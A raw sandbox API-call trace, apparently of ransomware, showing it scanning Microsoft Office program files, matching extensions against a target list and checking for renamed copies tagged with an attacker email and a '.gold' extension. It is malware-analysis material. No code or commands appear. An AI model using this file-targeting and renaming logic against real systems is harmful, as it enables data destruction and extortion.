[0110.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0110.602] lstrlenW (lpString=".1cd") returned 4 [0110.602] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61 [0110.602] lstrlenW (lpString=".jpg") returned 4 [0110.602] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.602] lstrcmpiW (lpString1=".EXE", lpString2=".gold") returned -1 [0110.602] lstrlenW (lpString="CLVIEW.EXE") returned 10 [0110.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.614] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=270200) returned 1 [0110.614] CloseHandle (hObject=0x3a0) returned 1 [0110.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe")) returned 0x20 [0110.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0110.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0110.614] lstrlenW (lpString=".doc") returned 4 [0110.614] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0110.614] lstrlenW (lpString=".docx") returned 5 [0110.615] lstrcmpiW (lpString1=".docx", lpString2="W.EXE") returned -1 [0110.615] lstrlenW (lpString=".pdf") returned 4 [0110.615] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0110.615] lstrlenW (lpString=".xls") returned 4 [0110.615] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0110.615] lstrlenW (lpString=".xlsx") returned 5 [0110.615] lstrcmpiW (lpString1=".xlsx", lpString2="W.EXE") returned -1 [0110.615] lstrlenW (lpString=".ppt") returned 4 [0110.615] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0110.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0110.615] lstrlenW (lpString=".zip") returned 4 [0110.615] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0110.615] lstrlenW (lpString=".rar") returned 4 [0110.615] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0110.615] lstrlenW (lpString=".bz2") returned 4 [0110.615] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0110.615] lstrlenW (lpString=".7z") returned 3 [0110.615] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0110.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0110.615] lstrlenW (lpString=".dbf") returned 4 [0110.615] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0110.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0110.615] lstrlenW (lpString=".1cd") returned 4 [0110.615] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0110.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0110.615] lstrlenW (lpString=".jpg") returned 4 [0110.615] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0110.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0110.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0110.615] lstrlenW (lpString=".doc") returned 4 [0110.615] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0110.615] lstrlenW (lpString=".docx") returned 5 [0110.615] lstrcmpiW (lpString1=".docx", lpString2="W.EXE") returned -1 [0110.615] lstrlenW (lpString=".pdf") returned 4 [0110.615] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0110.615] lstrlenW (lpString=".xls") returned 4 [0110.615] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0110.615] lstrlenW (lpString=".xlsx") returned 5 [0110.615] lstrcmpiW (lpString1=".xlsx", lpString2="W.EXE") returned -1 [0110.615] lstrlenW (lpString=".ppt") returned 4 [0110.615] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0110.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0110.615] lstrlenW (lpString=".zip") returned 4 [0110.615] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0110.615] lstrlenW (lpString=".rar") returned 4 [0110.616] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0110.616] lstrlenW (lpString=".bz2") returned 4 [0110.616] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0110.616] lstrlenW (lpString=".7z") returned 3 [0110.616] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0110.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0110.616] lstrlenW (lpString=".dbf") returned 4 [0110.616] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0110.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0110.616] lstrlenW (lpString=".1cd") returned 4 [0110.616] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0110.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0110.616] lstrlenW (lpString=".jpg") returned 4 [0110.616] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0110.616] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0110.616] lstrlenW (lpString="CMAX20.DLL") returned 10 [0110.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.626] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=722296) returned 1 [0110.626] CloseHandle (hObject=0x3a0) returned 1 [0110.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll")) returned 0x20 [0110.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0110.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0110.626] lstrlenW (lpString=".doc") returned 4 [0110.626] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.626] lstrlenW (lpString=".docx") returned 5 [0110.626] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0110.626] lstrlenW (lpString=".pdf") returned 4 [0110.626] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.626] lstrlenW (lpString=".xls") returned 4 [0110.626] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.626] lstrlenW (lpString=".xlsx") returned 5 [0110.626] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0110.626] lstrlenW (lpString=".ppt") returned 4 [0110.626] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0110.626] lstrlenW (lpString=".zip") returned 4 [0110.626] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.626] lstrlenW (lpString=".rar") returned 4 [0110.626] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.626] lstrlenW (lpString=".bz2") returned 4 [0110.626] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.626] lstrlenW (lpString=".7z") returned 3 [0110.626] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0110.627] lstrlenW (lpString=".dbf") returned 4 [0110.627] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0110.627] lstrlenW (lpString=".1cd") returned 4 [0110.627] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0110.627] lstrlenW (lpString=".jpg") returned 4 [0110.627] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0110.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0110.627] lstrlenW (lpString=".doc") returned 4 [0110.627] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.627] lstrlenW (lpString=".docx") returned 5 [0110.627] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0110.627] lstrlenW (lpString=".pdf") returned 4 [0110.627] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.627] lstrlenW (lpString=".xls") returned 4 [0110.627] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.627] lstrlenW (lpString=".xlsx") returned 5 [0110.627] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0110.627] lstrlenW (lpString=".ppt") returned 4 [0110.627] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0110.627] lstrlenW (lpString=".zip") returned 4 [0110.627] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.627] lstrlenW (lpString=".rar") returned 4 [0110.627] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.627] lstrlenW (lpString=".bz2") returned 4 [0110.627] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.627] lstrlenW (lpString=".7z") returned 3 [0110.627] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0110.627] lstrlenW (lpString=".dbf") returned 4 [0110.627] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0110.627] lstrlenW (lpString=".1cd") returned 4 [0110.627] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0110.627] lstrlenW (lpString=".jpg") returned 4 [0110.627] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.627] lstrcmpiW (lpString1=".EXE", lpString2=".gold") returned -1 [0110.627] lstrlenW (lpString="CNFNOT32.EXE") returned 12 [0110.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.628] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=225632) returned 1 [0110.628] CloseHandle (hObject=0x3a0) returned 1 [0110.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe")) returned 0x20 [0110.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0110.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0110.629] lstrlenW (lpString=".doc") returned 4 [0110.629] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0110.629] lstrlenW (lpString=".docx") returned 5 [0110.629] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0110.629] lstrlenW (lpString=".pdf") returned 4 [0110.629] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0110.629] lstrlenW (lpString=".xls") returned 4 [0110.629] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0110.629] lstrlenW (lpString=".xlsx") returned 5 [0110.629] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0110.629] lstrlenW (lpString=".ppt") returned 4 [0110.629] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0110.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0110.629] lstrlenW (lpString=".zip") returned 4 [0110.629] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0110.629] lstrlenW (lpString=".rar") returned 4 [0110.629] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0110.629] lstrlenW (lpString=".bz2") returned 4 [0110.629] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0110.629] lstrlenW (lpString=".7z") returned 3 [0110.629] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0110.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0110.629] lstrlenW (lpString=".dbf") returned 4 [0110.629] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0110.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0110.629] lstrlenW (lpString=".1cd") returned 4 [0110.629] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0110.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0110.629] lstrlenW (lpString=".jpg") returned 4 [0110.629] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0110.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0110.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0110.630] lstrlenW (lpString=".doc") returned 4 [0110.630] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0110.630] lstrlenW (lpString=".docx") returned 5 [0110.630] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0110.630] lstrlenW (lpString=".pdf") returned 4 [0110.630] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0110.630] lstrlenW (lpString=".xls") returned 4 [0110.630] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0110.630] lstrlenW (lpString=".xlsx") returned 5 [0110.630] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0110.630] lstrlenW (lpString=".ppt") returned 4 [0110.630] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0110.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0110.630] lstrlenW (lpString=".zip") returned 4 [0110.630] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0110.630] lstrlenW (lpString=".rar") returned 4 [0110.630] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0110.630] lstrlenW (lpString=".bz2") returned 4 [0110.630] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0110.630] lstrlenW (lpString=".7z") returned 3 [0110.630] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0110.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0110.630] lstrlenW (lpString=".dbf") returned 4 [0110.630] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0110.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0110.630] lstrlenW (lpString=".1cd") returned 4 [0110.630] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0110.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0110.630] lstrlenW (lpString=".jpg") returned 4 [0110.630] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0110.630] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0110.630] lstrlenW (lpString="CODEEDIT.DLL") returned 12 [0110.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.631] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=53128) returned 1 [0110.631] CloseHandle (hObject=0x3a0) returned 1 [0110.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll")) returned 0x20 [0110.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0110.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0110.631] lstrlenW (lpString=".doc") returned 4 [0110.631] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.631] lstrlenW (lpString=".docx") returned 5 [0110.631] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0110.631] lstrlenW (lpString=".pdf") returned 4 [0110.631] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.631] lstrlenW (lpString=".xls") returned 4 [0110.631] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.631] lstrlenW (lpString=".xlsx") returned 5 [0110.631] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0110.632] lstrlenW (lpString=".ppt") returned 4 [0110.632] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0110.632] lstrlenW (lpString=".zip") returned 4 [0110.632] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.632] lstrlenW (lpString=".rar") returned 4 [0110.632] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.632] lstrlenW (lpString=".bz2") returned 4 [0110.632] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.632] lstrlenW (lpString=".7z") returned 3 [0110.632] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0110.632] lstrlenW (lpString=".dbf") returned 4 [0110.632] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0110.632] lstrlenW (lpString=".1cd") returned 4 [0110.632] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0110.632] lstrlenW (lpString=".jpg") returned 4 [0110.632] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0110.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0110.632] lstrlenW (lpString=".doc") returned 4 [0110.632] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.632] lstrlenW (lpString=".docx") returned 5 [0110.632] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0110.632] lstrlenW (lpString=".pdf") returned 4 [0110.632] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.632] lstrlenW (lpString=".xls") returned 4 [0110.632] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.632] lstrlenW (lpString=".xlsx") returned 5 [0110.632] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0110.632] lstrlenW (lpString=".ppt") returned 4 [0110.632] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0110.632] lstrlenW (lpString=".zip") returned 4 [0110.632] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.632] lstrlenW (lpString=".rar") returned 4 [0110.632] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.632] lstrlenW (lpString=".bz2") returned 4 [0110.632] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.632] lstrlenW (lpString=".7z") returned 3 [0110.632] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0110.632] lstrlenW (lpString=".dbf") returned 4 [0110.632] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0110.633] lstrlenW (lpString=".1cd") returned 4 [0110.633] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0110.633] lstrlenW (lpString=".jpg") returned 4 [0110.633] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.633] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0110.633] lstrlenW (lpString="CONTAB32.DLL") returned 12 [0110.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.633] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=183160) returned 1 [0110.633] CloseHandle (hObject=0x3a0) returned 1 [0110.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll")) returned 0x20 [0110.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0110.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0110.634] lstrlenW (lpString=".doc") returned 4 [0110.634] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.634] lstrlenW (lpString=".docx") returned 5 [0110.634] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0110.634] lstrlenW (lpString=".pdf") returned 4 [0110.634] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.634] lstrlenW (lpString=".xls") returned 4 [0110.634] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.634] lstrlenW (lpString=".xlsx") returned 5 [0110.634] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0110.634] lstrlenW (lpString=".ppt") returned 4 [0110.634] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0110.634] lstrlenW (lpString=".zip") returned 4 [0110.634] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.634] lstrlenW (lpString=".rar") returned 4 [0110.634] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.634] lstrlenW (lpString=".bz2") returned 4 [0110.634] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.634] lstrlenW (lpString=".7z") returned 3 [0110.634] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0110.634] lstrlenW (lpString=".dbf") returned 4 [0110.634] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0110.634] lstrlenW (lpString=".1cd") returned 4 [0110.634] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0110.634] lstrlenW (lpString=".jpg") returned 4 [0110.634] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 